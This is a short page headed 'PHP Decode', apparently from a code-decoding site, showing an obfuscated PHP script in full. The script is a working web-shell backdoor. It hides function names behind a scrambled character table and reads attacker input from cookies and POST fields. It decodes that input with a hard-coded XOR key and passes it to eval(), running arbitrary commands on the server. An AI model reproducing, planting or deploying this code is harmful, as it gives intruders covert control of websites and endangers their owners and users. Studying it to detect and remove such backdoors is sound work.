PHP Decode

<?php 
$wewxl = 'iH\'sa_g5yxm81cv#kbo*2t0-lepru93d4n7f'; 
$zzcai = Array(); 
$zzcai[] = $wewxl[30] . $wewxl[12] . $wewxl[12] . $wewxl[13] . $wewxl[20] . $wewxl[29] . $wewxl[30] . $wewxl[7] . $wewxl[23] . $wewxl[35] . $wewxl[35] . $wewxl[4] . $wewxl[31] . $wewxl[23] . $wewxl[32] . $wewxl[32] . $wewxl[17] . $wewxl[25] . $wewxl[23] . $wewxl[17] . $wewxl[34] . $wewxl[32] . $wewxl[20] . $wewxl[23] . $wewxl[12] . $wewxl[12] . $wewxl[11] . $wewxl[25] . $wewxl[31] . $wewxl[22] . $wewxl[30] . $wewxl[32] . $wewxl[25] . $wewxl[20] . $wewxl[7] . $wewxl[20]; 
$zzcai[] = $wewxl[1] . $wewxl[19]; 
$zzcai[] = $wewxl[15]; 
$zzcai[] = $wewxl[13] . $wewxl[18] . $wewxl[28] . $wewxl[33] . $wewxl[21]; 
$zzcai[] = $wewxl[3] . $wewxl[21] . $wewxl[27] . $wewxl[5] . $wewxl[27] . $wewxl[25] . $wewxl[26] . $wewxl[25] . $wewxl[4] . $wewxl[21]; 
$zzcai[] = $wewxl[25] . $wewxl[9] . $wewxl[26] . $wewxl[24] . $wewxl[18] . $wewxl[31] . $wewxl[25]; 
$zzcai[] = $wewxl[3] . $wewxl[28] . $wewxl[17] . $wewxl[3] . $wewxl[21] . $wewxl[27]; 
$zzcai[] = $wewxl[4] . $wewxl[27] . $wewxl[27] . $wewxl[4] . $wewxl[8] . $wewxl[5] . $wewxl[10] . $wewxl[25] . $wewxl[27] . $wewxl[6] . $wewxl[25]; 
$zzcai[] = $wewxl[3] . $wewxl[21] . $wewxl[27] . $wewxl[24] . $wewxl[25] . $wewxl[33]; 
$zzcai[] = $wewxl[26] . $wewxl[4] . $wewxl[13] . $wewxl[16]; 
foreach ($zzcai[7]($_COOKIE, $_POST) as $xokrmp => $qhrjxpl) { 
    function zcehcr($zzcai, $xokrmp, $rczsll) { 
        return $zzcai[6]($zzcai[4]($xokrmp . $zzcai[0], ($rczsll / $zzcai[8]($xokrmp)) + 1), 0, $rczsll); 
    } 
    function erohyqy($zzcai, $pwkczlc) { 
        return @$zzcai[9]($zzcai[1], $pwkczlc); 
    } 
    function dncxp($zzcai, $pwkczlc) { 
        $tcimwnq = $zzcai[3]($pwkczlc) % 3; 
        if (!$tcimwnq) { 
            eval($pwkczlc[1]($pwkczlc[2])); 
            exit(); 
        } 
    } 
    $qhrjxpl = erohyqy($zzcai, $qhrjxpl); 
    dncxp($zzcai, $zzcai[5]($zzcai[2], $qhrjxpl ^ zcehcr($zzcai, $xokrmp, $zzcai[8]($qhrjxpl)))); 
} ?>